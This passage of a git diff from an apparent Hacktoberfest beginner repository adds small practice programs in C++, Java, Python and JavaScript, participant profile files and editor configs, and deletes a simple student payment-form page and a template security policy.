#7F7F7F; -} -.wrapper .signup-wrapper a:hover { - text-decoration: underline; -} -@-webkit-keyframes tooltipanimation { - from { - margin-top: -28px; - } - to { - margin-top: 0; - } -} -@keyframes tooltipanimation { - from { - margin-top: -28px; - } - to { - margin-top: 0; - } -} -.direction { - width: 200px; - position: fixed; - top: 120px; - left: 20px; - font-size: 14px; - line-height: 1.2; - text-align: center; - background: #9365B8; - padding: 10px; - color: #fff; -} -@media (max-width: 480px) { - .direction { - position: static; - } -} \ No newline at end of file diff --git a/Add Code Here/Websites/payment page.html b/Add Code Here/Websites/payment page.html deleted file mode 100644 index 4490fd857c8..00000000000 --- a/Add Code Here/Websites/payment page.html +++ /dev/null @@ -1,56 +0,0 @@ - - - - - - - payment form - - - -
    -
    -

    PAYMENT FORM

    -

    Contact Information

    -

    Name:

    -
    - Gender -

    - male - female -

    -
    -

    - Address: -

    -

    - Email: -

    -

    - Pincode: -

    -
    -

    PAYMENT INFORMATON

    -

    Card Type: - - -

    -

    - card number: -

    -

    - Expiry date: -

    -

    - CVV: -

    - -
    -
    - - diff --git a/Add Code Here/aspiringgarv.cpp b/Add Code Here/aspiringgarv.cpp new file mode 100644 index 00000000000..476004359cc --- /dev/null +++ b/Add Code Here/aspiringgarv.cpp @@ -0,0 +1,54 @@ +#include +// (Basically a 2 pointer approach) +// We define a Node struct to represent each node in the linked list. Each node contains an integer value (data) and a pointer to the next node (next). +// The detectLoop function uses the Floyd's Tortoise and Hare algorithm to detect a loop in the linked list. It initializes two pointers, slow and fast, both initially pointing to the head of the list. The fast pointer advances by two steps while the slow pointer advances by one step in each iteration of the while loop. +// If there is a loop in the linked list, the fast pointer will eventually catch up to the slow pointer, and we return true to indicate that a loop has been detected. If there is no loop, the fast pointer will reach the end of the list (i.e., become nullptr), and we return false. +// In the main function, we create a sample linked list with a loop for testing purposes. +// We call the detectLoop function to check for a loop in the linked list and print the result. +// Finally, we free the memory allocated for the nodes using delete to avoid memory leaks +// Definition of a Node in the linked list +struct Node { + int data; + Node* next; + Node(int val) : data(val), next(nullptr) {} +}; + +// Function to detect a loop in a linked list +bool detectLoop(Node* head) { + Node* slow = head; + Node* fast = head; + + while (fast != nullptr && fast->next != nullptr) { + slow = slow->next; // Move slow pointer by one step + fast = fast->next->next; // Move fast pointer by two steps + + if (slow == fast) { + return true; // Loop detected + } + } + + return false; // No loop detected +} + +int main() { + // Create a sample linked list with a loop + Node* head = new Node(1); + Node* second = new Node(2); + Node* third = new Node(3); + Node* fourth = new Node(4); + Node* fifth = new Node(5); + + head->next = second; + second->next = third; + third->next = fourth; + fourth->next = fifth; + fifth->next = second; // Creating a loop from fifth to second + + // Check for a loop in the linked list + if (detectLoop(head)) { + std::cout << "Loop detected in the linked list." << std::endl; + } else { + std::cout << "No loop detected in the linked list." << std::endl; + } + return 0; +} diff --git a/Add Code Here/compare.py b/Add Code Here/compare.py new file mode 100644 index 00000000000..f7211a02b93 --- /dev/null +++ b/Add Code Here/compare.py @@ -0,0 +1,54 @@ +file_1 = open('file1.txt', 'r') +file_2 = open('file2.txt', 'r') + +print("Comparing files ", " @ " + 'file1.txt', " # " + 'file2.txt', sep='\n') + +file_1_line = file_1.readline() +file_2_line = file_2.readline() + +line_no = 1 + +print() + +with open('file1.txt') as file1: + with open('file2.txt') as file2: + same = set(file1).intersection(file2) + +print("Common Lines in Both Files") + +for line in same: + print(line, end='') + +print('\n') +print("Difference Lines in Both Files") +while file_1_line != '' or file_2_line != '': + + + file_1_line = file_1_line.rstrip() + file_2_line = file_2_line.rstrip() + + + if file_1_line != file_2_line: + + + if file_1_line == '': + print("@", "Line-%d" % line_no, file_1_line) + else: + print("@-", "Line-%d" % line_no, file_1_line) + + + if file_2_line == '': + print("#", "Line-%d" % line_no, file_2_line) + else: + print("#+", "Line-%d" % line_no, file_2_line) + + print() + + + file_1_line = file_1.readline() + file_2_line = file_2.readline() + + line_no += 1 + +file_1.close() +file_2.close() \ No newline at end of file diff --git a/Add Code Here/deleteHeadNode.java b/Add Code Here/deleteHeadNode.java new file mode 100644 index 00000000000..cf6b6aa9c76 --- /dev/null +++ b/Add Code Here/deleteHeadNode.java @@ -0,0 +1,33 @@ +package com.mycompany.dsa; + +class deleteHeadNode { + static class Node { + int data; + Node next; + } + + static void deleteList(Node head) { + if(head == null) return; + deleteList(head.next); + System.gc(); + } + + static void push(Node head_ref, int new_data) { + Node new_node = new Node(); + new_node.data = new_data; + new_node.next = head_ref; + head_ref = new_node; + } + + public static void main(String[] args) { + Node head = new Node(); + push(head, 1); + push(head, 4); + push(head, 1); + push(head, 12); + push(head, 1); + System.out.println("\nDeleting linked list"); + deleteList(head); + System.out.println("\nLinked list deleted"); + } +} diff --git a/Add Code Here/floyds_triangle.java b/Add Code Here/floyds_triangle.java new file mode 100644 index 00000000000..af8bf3d7ec0 --- /dev/null +++ b/Add Code Here/floyds_triangle.java @@ -0,0 +1,20 @@ +import java.util.*; + +public class floyds_tringle { + + public static void print(int n){ + int counter = 1; + for(int i=1;i<=n;i++){ + for(int j=1;j<=i;j++){ + System.out.print(counter + " "); + counter++; + } + System.out.println(); + } + } + public static void main(String[] args){ + Scanner sc = new Scanner(System.in); + int n = sc.nextInt(); + print(n); + } +} diff --git a/Add Code Here/hello.py b/Add Code Here/hello.py new file mode 100644 index 00000000000..ad35e5ae34d --- /dev/null +++ b/Add Code Here/hello.py @@ -0,0 +1 @@ +print("Hello World") diff --git a/Add Code Here/josephus.java b/Add Code Here/josephus.java new file mode 100644 index 00000000000..37da0bc1296 --- /dev/null +++ b/Add Code Here/josephus.java @@ -0,0 +1,21 @@ + +package com.mycompany.dsa; + + +public class josephus { + + public static int jos(int n,int k) + { + if(n==1) + { + return 0; + } + return ((jos(n-1,k)+k)%n); + } + + public static void main(String[] args) + { + int a=jos(5,3); + System.out.println("Person no. "+a+" will be alive"); + } +} diff --git a/Add Code Here/leetcode question b/Add Code Here/leetcode question new file mode 100644 index 00000000000..17c1468afaa --- /dev/null +++ b/Add Code Here/leetcode question @@ -0,0 +1,26 @@ +// leet code problem no 1207 (find unique number) + +#include +using namespace std; +void printArray(int arr[] , int size){ + for(int i=0 ; i { + + + const maxNumber = parseInt(input); + let total = 0; + + + + for (let i = 1; i <= maxNumber; i++) { + if (i % 2 === 0) { + total += i; + } + } + + + + console.log(`Jumlah bilangan genap dari 1 hingga ${maxNumber} adalah: ${total}`); + + + rl.close(); +}); diff --git a/Add Code Here/permutation.java b/Add Code Here/permutation.java new file mode 100644 index 00000000000..f56b129d2dd --- /dev/null +++ b/Add Code Here/permutation.java @@ -0,0 +1,26 @@ +class Solution { + public void solve(int [] nums, List ds, List>ans, boolean [] check){ + if(ds.size()==nums.length){ + if(!ans.contains(ds)){ + ans.add(new ArrayList<>(ds)); + } + } + for(int i=0; i> permuteUnique(int[] nums) { + List ds =new ArrayList<>(); + List> ans = new ArrayList<>(); + boolean [] check = new boolean [nums.length]; + Arrays.fill(check, false); + solve(nums, ds, ans, check); + return ans; + } +} diff --git a/Add Code Here/reverseDoublyLinkedList.java b/Add Code Here/reverseDoublyLinkedList.java new file mode 100644 index 00000000000..049a891aead --- /dev/null +++ b/Add Code Here/reverseDoublyLinkedList.java @@ -0,0 +1,64 @@ +package com.mycompany.dsa; + +public class reverseDoublyLinkedList { + static class Node{ + int data; + Node next, prev; + } + + static Node getNode(int data) { + Node new_node = new Node(); + new_node.data = data; + new_node.next = new_node.prev = null; + return new_node; + } + + static Node push(Node head_ref, Node new_node) { + new_node.prev = null; + + new_node.next = (head_ref); + + if((head_ref) != null) + (head_ref).prev = new_node; + + (head_ref) = new_node; + return head_ref; + } + + static Node Reverse(Node node) { + if(node == null) + return null; + + Node temp = node.next; + node.next = node.prev; + node.prev = temp; + + if(node.prev == null) + return node; + + return Reverse(node.prev); + } + + static void printList(Node head) { + while(head != null) { + System.out.println(head.data + " "); + head = head.next; + } + } + + public static void main(String[] args) { + Node head = null; + + head = push(head, getNode(2)); + head = push(head, getNode(4)); + head = push(head, getNode(8)); + head = push(head, getNode(10)); + System.out.println("Original list: "); + printList(head); + + head = Reverse(head); + System.out.println("\nReversed list: "); + printList(head); + + } +} diff --git a/Add Code Here/subset.java b/Add Code Here/subset.java new file mode 100644 index 00000000000..11da5e3b96f --- /dev/null +++ b/Add Code Here/subset.java @@ -0,0 +1,27 @@ + +package com.mycompany.dsa; + + +public class subset +{ + + static void getsubset(String s,String curr,int i) + { + if(i==s.length()) + { + System.out.println(curr); + return; + } + getsubset(s,curr,i+1); + getsubset(s,curr+s.charAt(i),i+1); + + } + + public static void main(String args[]) + { + + getsubset("abc","",0); + +} + +} diff --git a/Add Code Here/trie_CRUD.cpp b/Add Code Here/trie_CRUD.cpp new file mode 100644 index 00000000000..175c64d6e98 --- /dev/null +++ b/Add Code Here/trie_CRUD.cpp @@ -0,0 +1,113 @@ +/* + *******************************CRUD OPERATIONS ON TRIE******************************* + A Trie, short for "reTRIEval tree," is a specialized tree-like data structure used primarily for the efficient storage and retrieval of strings or keys. + It is often referred to as a "prefix tree" because it excels at storing a set of strings that share common prefixes. + The Trie consists of nodes, with each node representing a single character. These nodes are interconnected through branches, where each branch corresponds to a possible character, typically from a fixed alphabet (e.g., 26 branches for uppercase English letters). + When inserting a string into a Trie, you start at the root and navigate through the branches according to the characters in the string. + If a branch is missing, a new node is created, ensuring that the path from the root to any node spells out a sequence of characters. + Searching in a Trie is similarly efficient, starting from the root and following branches based on the target string's characters. + If you reach a node marked as "terminal" at the end of the string, you've found it; otherwise, it's not present. + Tries are highly efficient for operations like autocompletion, searching for common prefixes, and have a time complexity of O(L) for insertions and searches, where L is the length of the string. + While they can have higher space complexity, Tries are invaluable in applications such as spell checkers, autocomplete systems, IP routing (for longest prefix matching), and dictionary implementations, where fast string retrieval is essential. +*/ + +#include // Include the C++ Standard Library headers. + +using namespace std; // Declare the use of the 'std' namespace. + +class TrieNode // Declare a class for TrieNode. +{ +public: + char data; // Store a character in the TrieNode. + TrieNode *children[26]; // Create an array of TrieNode pointers for child nodes. + bool isTerminal; // Boolean flag to indicate whether this node represents the end of a word. + + TrieNode(char ch) // Constructor for TrieNode, initializing data and children. + { + data = ch; + for (int i = 0; i < 26; i++) // Initialize all children to NULL. + children[i] = NULL; + isTerminal = false; // Initialize isTerminal to false. + } +}; + +class Trie // Declare a class for the Trie data structure. +{ +public: + TrieNode *root; // Create a root node for the Trie. + + Trie() // Constructor for Trie, initializing the root. + { + root = new TrieNode('\0'); // Create a root node with null character data. + } + + bool searchWord(string word) // Define a function to search for a word in the Trie. + { + int n = word.size(); // Get the length of the input word. + TrieNode *node = root; // Initialize a TrieNode pointer to start from the root. + for (int i = 0; i < n; i++) // Traverse the Trie for each character in the word. + { + if (node->children[word[i] - 'A'] == NULL) // Check if the child node exists. + return false; // If not found, return false. + node = node->children[word[i] - 'A']; // Move to the next node. + } + if (node->isTerminal == true) // Check if the last node is a word-ending node. + return true; // If yes, the word is present in the Trie. + return false; // Otherwise, the word is not present. + } + + void insertWord(string word) // Define a function to insert a word into the Trie. + { + int n = word.size(); // Get the length of the input word. + TrieNode *node = root; // Initialize a TrieNode pointer to start from the root. + for (int i = 0; i < n; i++) // Traverse the Trie for each character in the word. + { + if (node->children[word[i] - 'A'] == NULL) // Check if the child node exists. + { + node->children[word[i] - 'A'] = new TrieNode(word[i]); // Create a new node if not found. + } + node = node->children[word[i] - 'A']; // Move to the next node. + } + node->isTerminal = true; // Mark the last node as a word-ending node. + } + + void deleteWord(string word) // Define a function to delete a word from the Trie. + { + int n = word.size(); // Get the length of the input word. + int i; + TrieNode *node = root; // Initialize a TrieNode pointer to start from the root. + for (i = 0; i < n; i++) // Traverse the Trie for each character in the word. + { + if (!node->children[word[i] - 'A']) // Check if the child node exists. + return; // If not found, return without deletion. + node = node->children[word[i] - 'A']; // Move to the next node. + } + node->isTerminal = false; // Mark the last node as not representing a word. + } +}; + +int main() // The main function where the Trie is used. +{ + Trie *t = new Trie(); // Create an instance of the Trie. + + t->insertWord("ARM"); // Insert words into the Trie. + t->insertWord("ARMADILLO"); + t->insertWord("ARMWRESTLING"); + t->insertWord("DO"); + t->insertWord("DONE"); + t->insertWord("DOING"); + + if (t->searchWord("DONE")) // Check if a word exists in the Trie. + cout << "'DONE' is present" << endl; + else + cout << "'DONE' is absent" << endl; + + t->deleteWord("DONE"); // Delete a word from the Trie. + + if (t->searchWord("DONE")) // Check if the deleted word still exists. + cout << "'DONE' is present" << endl; + else + cout << "'DONE' is absent" << endl; + + return 0; // Return 0 to indicate successful program execution. +} \ No newline at end of file diff --git a/Add Code Here/turtle_racing_game.py b/Add Code Here/turtle_racing_game.py new file mode 100644 index 00000000000..5544e13b156 --- /dev/null +++ b/Add Code Here/turtle_racing_game.py @@ -0,0 +1,35 @@ +from turtle import Turtle, Screen +from random import randint + +s = Screen() +s.setup(width=800, height=400) + +colors = ["red", "orange", "yellow", "green", "blue"] +y_positions = [-80, -40, 0, 40, 80] +turtles = [] +is_race_on = False +user_guess = s.textinput("Guess the winner", "Guess which turtle will win. Type color: 'red', 'orange', 'yellow', 'green', 'blue'") + +for index, color in enumerate(colors): + t = Turtle(shape="turtle") + t.color(color) + t.penup() + t.goto(x=-380, y=y_positions[index]) + turtles.append(t) + is_race_on = True + +while is_race_on: + for turtle in turtles: + if turtle.xcor() > 375: + winning_turtle = turtle.pencolor() + + if winning_turtle.lower() == user_guess.lower(): + print(f"You won, {winning_turtle} turtle won the race!") + else: + print(f"You lose, {winning_turtle} turtle won the race!, but you bet on {user_guess} turtle") + is_race_on = False + else: + random_distance = randint(0, 10) + turtle.forward(random_distance) + +s.exitonclick() \ No newline at end of file diff --git a/Add Code Here/worldClock/WorldClock.css b/Add Code Here/worldClock/WorldClock.css new file mode 100644 index 00000000000..c7a430223a3 --- /dev/null +++ b/Add Code Here/worldClock/WorldClock.css @@ -0,0 +1,179 @@ +@import url('https://fonts.googleapis.com/css2?family=Oxygen&family=Ubuntu:wght@300;400&display=swap'); + +/* font-family: 'Oxygen', sans-serif; +font-family: 'Ubuntu', sans-serif; */ + + +* { + margin: 0; + +} + +*::selection{ + background-color:#00539CFF; + color:#EEA47FFF; +} + +body { + overflow: hidden; /* Hide scrollbars */ + } + +.mainPage { + background-color: #00539CFF; + padding-top: 2%; + padding-bottom: 9%; + padding-left: 35%; + padding-right: 35%; +} + +.container { + background-color: #EEA47FFF; + padding-top: 8%; + padding-bottom: 8%; + align-items: center; + border-radius: 11px; + box-shadow: 10px 10px 5px 1px rgba(104, 64, 44, 0.606); + transition: 200ms; +} + +.container:hover { + background-color: rgb(224, 155, 121); + box-shadow: 7px 7px 5px 2px rgba(104, 64, 44, 0.606); +} + +.timer { + padding-top: 6.5%; + padding-bottom: 6.5%; + padding-left: 3.5%; + padding-right: 3.5%; + margin-bottom: 20%; + margin-left: 20%; + margin-right: 20%; + color: black; + font-family: 'Ubuntu', sans-serif; + font-size: 30px; + font-weight:lighter; + text-shadow: 1px 2px 5px rgba(0, 0, 0, 0.606); + box-shadow: 3px 4px 5px rgba(0, 0, 0, 0.606); + border: 2px solid rgb(126, 88, 69); + border-radius: 20px; + background-color: aliceblue; +} + +.timer:hover{ + border: 2.5px solid black; +} + +.clickTimer { + margin-top: -30px; + margin-bottom: 10%; + margin-left: 45%; + margin-right: 10%; + color: black; + background-color: aliceblue; + box-shadow: 3px 4px 5px rgba(0, 0, 0, 0.606); + padding-top: 4%; + padding-bottom: 4%; + padding-left: 7%; + padding-right: 7%; + border: 1px solid rgb(126, 88, 69); + border-radius: 20px; + transition: 1s; +} + +.clickTimer:hover { + border: 2.5px solid black; + font-weight: 2.5px; + +} + +.selector{ + width: 450px; +} + +#selectField p{ + + width:80%; + padding:8px 13px; + margin-bottom: 30%; + box-sizing:border-box; + background:rgba(255, 255, 255, 0.7); + border-radius: 6px; + display:flex; + align-items:center; + justify-content: space-between; + cursor: pointer; + + +} + +#selectField img{ + width:12px; + +} + +#list{ + width:100%; + background-color: rgba(255, 255, 255, 0.7); + border-radius:6px; + overflow: hidden; + margin-top:40%; +} + +#list:hover{ + background-color:white; +} + +.options{ + width:100%; + padding : 2px; + list-style: none; + cursor: pointer; + box-sizing:border-box +} + +.options:hover{ + background-color:rgba(255,255,255,0,7); +} + +select{ + + font-weight: 2.5px; + padding: 1% 2%; + margin-left: 10%; + background-color:white; + font-family:'Ubuntu', sans-serif; + border: none; + + +} + +select:hover{ + background-color:#EEA47FFF; +} + +.dropMenu{ + position: relative; +} + +#downArrowImg{ + width:13px; + position: absolute; + + +} + +.downArrow{ + position:absolute; + padding-top: 2%; + padding-left: 1%; + top: 0; + bottom:0; + left:67%; + display:block; + height:66%; + width:4%; + background-color: rgb(241, 241, 241); + pointer-events: none; + +} diff --git a/Add Code Here/worldClock/WorldClock.html b/Add Code Here/worldClock/WorldClock.html new file mode 100644 index 00000000000..a241b11fb7a --- /dev/null +++ b/Add Code Here/worldClock/WorldClock.html @@ -0,0 +1,43 @@ + + + + + + + World Clock + + + + +
    +
    +

    + + +
    + + + + + +
    + +
    +
    + + + + + + + + + \ No newline at end of file diff --git a/Add Code Here/worldClock/WorldClock.js b/Add Code Here/worldClock/WorldClock.js new file mode 100644 index 00000000000..83ad261922f --- /dev/null +++ b/Add Code Here/worldClock/WorldClock.js @@ -0,0 +1,54 @@ + +let timeObj = new Date(); + + +let hrs; +let min; +let session ; +let seeionName; + + + + + + + +document.querySelector('.clickTimer').addEventListener('click', function () { + + + click = true + //getting live time + if(click == true){ + setInterval(() => { + var sessoin = "AM"; + let time = new Date(); + + + + let hrs = time.getHours(); + + let min = time.getMinutes(); + let sec = time.getSeconds(); + let date = time.toLocaleDateString(); + + if (hrs >= 12) { + hrs = hrs - 12; + sessoin = "PM"; + } + + hrs = (hrs < 10) ? "0" + hrs : hrs; + hrs = (hrs == 0) ? hrs = 12: hrs; + min = (min < 10) ? "0" + min : min; + sec = (sec < 10) ? "0" + sec : sec; + + time = `${hrs} : ${min} : ${sec} ${sessoin}`; + + + + + console.log("ButtonClicked"); + document.querySelector('.timer').innerHTML = time; + + }, 1000); + } +}) diff --git a/Add Code Here/worldClock/media/down-arrow.png b/Add Code Here/worldClock/media/down-arrow.png new file mode 100644 index 00000000000..ad6e3466c23 Binary files /dev/null and b/Add Code Here/worldClock/media/down-arrow.png differ diff --git a/Bubble_sort.java b/Bubble_sort.java deleted file mode 100644 index 6209286ff0e..00000000000 --- a/Bubble_sort.java +++ /dev/null @@ -1,29 +0,0 @@ -import java.util.Scanner; -public class Bubble_sort { - public static void B_sort(int[]A) - { - for(int i=0;iA[j]) - { - int temp=A[j-1]; - A[j-1]=A[j]; - A[j]=temp; - } - - } - } - public static void main(String[] args) { - Scanner sc=new Scanner(System.in); - System.out.print("Enter How many elements:"); - int n=sc.nextInt(); - int[]A=new int[n]; - for(int i=0;i - - + + -## This project is perfect for your first pull request +## This Project Is Perfect For Your First Pull Request 🗣 **Hacktoberfest encourages participation in the open source community, which grows bigger every year. Complete the challenge and earn a limited edition T-shirt.** @@ -20,20 +20,20 @@
    -Hacktober Badge +Hacktober Badge Star Badge Contributions -Pull Requests Badge -GitHub contributors -License Badge +Pull Requests Badge +GitHub contributors +License Badge
    -## Instructions +## INSTRUCTIONS- - Fork this Repository using the button at the top on right corner. -- Clone your forked repository to your pc ( git clone "url from clone option".) +- Clone your forked repository to your pc ( git clone "url from clone option.) - Create a new branch for your modifications (ie. `git branch new-user` and check it out `git checkout new-user` or simply do `git checkout -b new-user`) - Add your profile image in `static/images/` ( use drag and drop option or upload by commands.) - Add your profile data in `content/participant/` @@ -41,13 +41,13 @@ - Create a pull request - Star this repository -# How to make your first Pull Request +# How To Make Your First Pull Request Replace `` with your GitHub username in this guide. ## 1. Add your profile picture to the folder -Add a picture of your choice in `static/images/`. Accepted files are **png** and **jpg**, should be squared and minimum size 544x544 pixels. Ex. +Add a picture picture of your choice in `static/images/`. Accepted files are **png** and **jpg**, should be squared and minimum size 544x544 pixels. Ex. ``` static/images/.png @@ -92,7 +92,7 @@ You can follow any pathway a `code` or `profile information` ## 4. Wait for Pull Request to merge -## 5. Celebrate - you've done your first pull request!!!!! +## 5. Celebrate - you've done your first pull request!! ```py ''' diff --git a/SECURITY.md b/SECURITY.md deleted file mode 100644 index 034e8480320..00000000000 --- a/SECURITY.md +++ /dev/null @@ -1,21 +0,0 @@ -# Security Policy - -## Supported Versions - -Use this section to tell people about which versions of your project are -currently being supported with security updates. - -| Version | Supported | -| ------- | ------------------ | -| 5.1.x | :white_check_mark: | -| 5.0.x | :x: | -| 4.0.x | :white_check_mark: | -| < 4.0 | :x: | - -## Reporting a Vulnerability - -Use this section to tell people how to report a vulnerability. - -Tell them where to go, how often they can expect to get an update on a -reported vulnerability, what to expect if the vulnerability is accepted or -declined, etc. diff --git a/content/ankita.md b/content/ankita.md deleted file mode 100644 index 3d7bf9d273a..00000000000 --- a/content/ankita.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -name: Ankita Patil -institution/company: Ramaiah Institute of Technology, Bangalore -github: DarkSpy25 ---- diff --git a/content/participant/.vscode/c_cpp_properties.json b/content/participant/.vscode/c_cpp_properties.json new file mode 100644 index 00000000000..9a754887a67 --- /dev/null +++ b/content/participant/.vscode/c_cpp_properties.json @@ -0,0 +1,18 @@ +{ + "configurations": [ + { + "name": "windows-gcc-x64", + "includePath": [ + "${workspaceFolder}/**" + ], + "compilerPath": "C:/msys64/mingw64/bin/gcc.exe", + "cStandard": "${default}", + "cppStandard": "${default}", + "intelliSenseMode": "windows-gcc-x64", + "compilerArgs": [ + "" + ] + } + ], + "version": 4 +} \ No newline at end of file diff --git a/content/participant/.vscode/launch.json b/content/participant/.vscode/launch.json new file mode 100644 index 00000000000..e5422e5c434 --- /dev/null +++ b/content/participant/.vscode/launch.json @@ -0,0 +1,24 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "C/C++ Runner: Debug Session", + "type": "cppdbg", + "request": "launch", + "args": [], + "stopAtEntry": false, + "externalConsole": true, + "cwd": "c:/Users/Aman/Desktop/hacks/Hacktoberfest2023/content/participant", + "program": "c:/Users/Aman/Desktop/hacks/Hacktoberfest2023/content/participant/build/Debug/outDebug", + "MIMode": "gdb", + "miDebuggerPath": "gdb", + "setupCommands": [ + { + "description": "Enable pretty-printing for gdb", + "text": "-enable-pretty-printing", + "ignoreFailures": true + } + ] + } + ] +} \ No newline at end of file diff --git a/content/participant/.vscode/settings.json b/content/participant/.vscode/settings.json new file mode 100644 index 00000000000..4dd824d7fba --- /dev/null +++ b/content/participant/.vscode/settings.json @@ -0,0 +1,58 @@ +{ + "C_Cpp_Runner.cCompilerPath": "gcc", + "C_Cpp_Runner.cppCompilerPath": "g++", + "C_Cpp_Runner.debuggerPath": "gdb", + "C_Cpp_Runner.cStandard": "", + "C_Cpp_Runner.cppStandard": "", + "C_Cpp_Runner.msvcBatchPath": "", + "C_Cpp_Runner.useMsvc": false, + "C_Cpp_Runner.warnings": [ + "-Wall", + "-Wextra", + "-Wpedantic", + "-Wshadow", + "-Wformat=2", + "-Wcast-align", + "-Wconversion", + "-Wsign-conversion", + "-Wnull-dereference" + ], + "C_Cpp_Runner.msvcWarnings": [ + "/W4", + "/permissive-", + "/w14242", + "/w14287", + "/w14296", + "/w14311", + "/w14826", + "/w44062", + "/w44242", + "/w14905", + "/w14906", + "/w14263", + "/w44265", + "/w14928" + ], + "C_Cpp_Runner.enableWarnings": true, + "C_Cpp_Runner.warningsAsError": false, + "C_Cpp_Runner.compilerArgs": [], + "C_Cpp_Runner.linkerArgs": [], + "C_Cpp_Runner.includePaths": [], + "C_Cpp_Runner.includeSearch": [ + "*", + "**/*" + ], + "C_Cpp_Runner.excludeSearch": [ + "**/build", + "**/build/**", + "**/.*", + "**/.*/**", + "**/.vscode", + "**/.vscode/**" + ], + "C_Cpp_Runner.useAddressSanitizer": false, + "C_Cpp_Runner.useUndefinedSanitizer": false, + "C_Cpp_Runner.useLeakSanitizer": false, + "C_Cpp_Runner.showCompilationTime": false, + "C_Cpp_Runner.useLinkTimeOptimization": false +} \ No newline at end of file diff --git a/content/participant/0001_Agara.md b/content/participant/0001_Agara.md new file mode 100644 index 00000000000..b66db6662de --- /dev/null +++ b/content/participant/0001_Agara.md @@ -0,0 +1,5 @@ +--- +Name: Agara +institution/company: Delhi University +github: https://github.com/agaramudhala +--- diff --git a/content/participant/001.md b/content/participant/001.md new file mode 100644 index 00000000000..590a3c11f89 --- /dev/null +++ b/content/participant/001.md @@ -0,0 +1 @@ +![9840063842_edited](https://user-images.githubusercontent.com/64918181/197347941-e0c956f8-8e9d-439a-a8a2-659401b4516f.jpg) diff --git a/content/participant/007Akshay.md b/content/participant/007Akshay.md new file mode 100644 index 00000000000..a8f9bcef2e0 --- /dev/null +++ b/content/participant/007Akshay.md @@ -0,0 +1,5 @@ +--- +Name: Chandan Mali +institution/company: Mumbai University +github: https://github.com/Chandanmali +--- diff --git a/content/participant/007Ashutosh.md b/content/participant/007Ashutosh.md new file mode 100644 index 00000000000..034eaf1518e --- /dev/null +++ b/content/participant/007Ashutosh.md @@ -0,0 +1,5 @@ +--- +name: Ashutosh Kumar Singh Rathore +institution: NIT +github: github.com/Techno-Simpola +--- diff --git a/content/participant/008 RohanB.md b/content/participant/008 RohanB.md new file mode 100644 index 00000000000..cb9005b2ef0 --- /dev/null +++ b/content/participant/008 RohanB.md @@ -0,0 +1,5 @@ +--- +Name: Rohan Biswas +institution/company: University Of Engineering and Management, Kolkata +github: https://github.com/rohanpranto +--- diff --git a/content/participant/01Mohit.md b/content/participant/01Mohit.md new file mode 100644 index 00000000000..df966a0fb2c --- /dev/null +++ b/content/participant/01Mohit.md @@ -0,0 +1,5 @@ +--- +name: Mohit Dhote +institution/company: SGBAU UNIVERSITY +github: mohit-dhote +--- diff --git a/content/participant/01NavnathJadhav.md b/content/participant/01NavnathJadhav.md new file mode 100644 index 00000000000..008d602a829 --- /dev/null +++ b/content/participant/01NavnathJadhav.md @@ -0,0 +1,5 @@ +--- +Name: Navnath Jadhav +institution/company: Vishwakarma Institute of Information Technology +github: https://github.com/9nathdj +--- diff --git a/content/participant/0noofnbr.md b/content/participant/0noofnbr.md new file mode 100644 index 00000000000..672cd368f12 --- /dev/null +++ b/content/participant/0noofnbr.md @@ -0,0 +1,5 @@ +--- +name: Noof Abdul Raheem A P +institution/company: EMEA College of Arts and science,Kondotty,Kerala +github: nbr9097 +--- \ No newline at end of file diff --git a/content/participant/0rohitgangwar.md b/content/participant/0rohitgangwar.md index 2708b165df5..e69de29bb2d 100644 --- a/content/participant/0rohitgangwar.md +++ b/content/participant/0rohitgangwar.md @@ -1,5 +0,0 @@ ---- -Name: Rohit Gangwar -institution/company: Kamla Nehru Institute of Technology -github: rohit8020 ---- \ No newline at end of file diff --git a/content/participant/1-23-smy.md b/content/participant/1-23-smy.md index 644acbb73c2..fc58bb854be 100644 --- a/content/participant/1-23-smy.md +++ b/content/participant/1-23-smy.md @@ -1,5 +1,26 @@ --- -name: Soumya Ranjan Das -institution/company: Gandhi institute for technology -github: 1-23-smy ---- +# SOUMYA RANJAN DAS + +### Location + +BHUBANESWAR / INDIA + +### Academics +- Currently pursuing B.Tech in gandhi institute for technology specialization in Computer Science & Engineering. +### Interests + +- Open source Development,Devops, MERN Stack + +### Development + +- Java,Javascript + + +### Projects + +> Heading +- React-Cart(https://github.com/1-23-smy/react-cart) +> Chat-app (https://github.com/1-23-smy/chit-chat) +### Profile Link + +Go to profile [Soumya Ranjan Das](https://github.com/1-23-smy/) diff --git a/content/participant/10abhi-cvk.md b/content/participant/10abhi-cvk.md new file mode 100644 index 00000000000..56cc7d218ca --- /dev/null +++ b/content/participant/10abhi-cvk.md @@ -0,0 +1,5 @@ +--- +name: ABHISHEK SATISH +institution/company: QBURST +github: https://github.com/10abhi-cvk +--- \ No newline at end of file diff --git a/content/participant/12345supu,md b/content/participant/12345supu.md similarity index 100% rename from content/participant/12345supu,md rename to content/participant/12345supu.md diff --git a/Add Code Here/C++/CAFE CAL b/content/participant/AMA1120.md similarity index 100% rename from Add Code Here/C++/CAFE CAL rename to content/participant/AMA1120.md diff --git a/content/participant/Aaditya-Mishra.md b/content/participant/Aaditya-Mishra.md new file mode 100644 index 00000000000..2f870e70e18 --- /dev/null +++ b/content/participant/Aaditya-Mishra.md @@ -0,0 +1,5 @@ +--- +name: Aaditya Mishra +institution/company: Maharishi Markandeshwar (Deemed to be University) +github: Aaditya-Mishra +--- diff --git a/content/participant/Aaryan.md b/content/participant/Aaryan.md new file mode 100644 index 00000000000..179a2514413 --- /dev/null +++ b/content/participant/Aaryan.md @@ -0,0 +1,5 @@ +--- +name: AARYAN +institution/company: IIT ROORKEE +github:AARYAN246 +--- \ No newline at end of file diff --git a/content/participant/AayushSolanki.md b/content/participant/AayushSolanki.md new file mode 100644 index 00000000000..42537beddd4 --- /dev/null +++ b/content/participant/AayushSolanki.md @@ -0,0 +1,5 @@ +--- +name: Aayush Solanki +institution/company: Shri Govindram Seksaria Institute of Technology and Science +github: AayushSolanki +--- diff --git a/content/participant/Abdul-Azeez.md b/content/participant/Abdul-Azeez.md new file mode 100644 index 00000000000..f195b93a4f5 --- /dev/null +++ b/content/participant/Abdul-Azeez.md @@ -0,0 +1,5 @@ +--- +name: Abdul Azeez +institution/company: Vishnu Institute of Technology +github: Abdul-Azeez060 +--- diff --git a/content/participant/Abdulz11.md b/content/participant/Abdulz11.md new file mode 100644 index 00000000000..7f6ea936019 --- /dev/null +++ b/content/participant/Abdulz11.md @@ -0,0 +1,5 @@ +--- +name:Abdul Oyewale +institution/company:null +github:Abdulz11 +--- diff --git 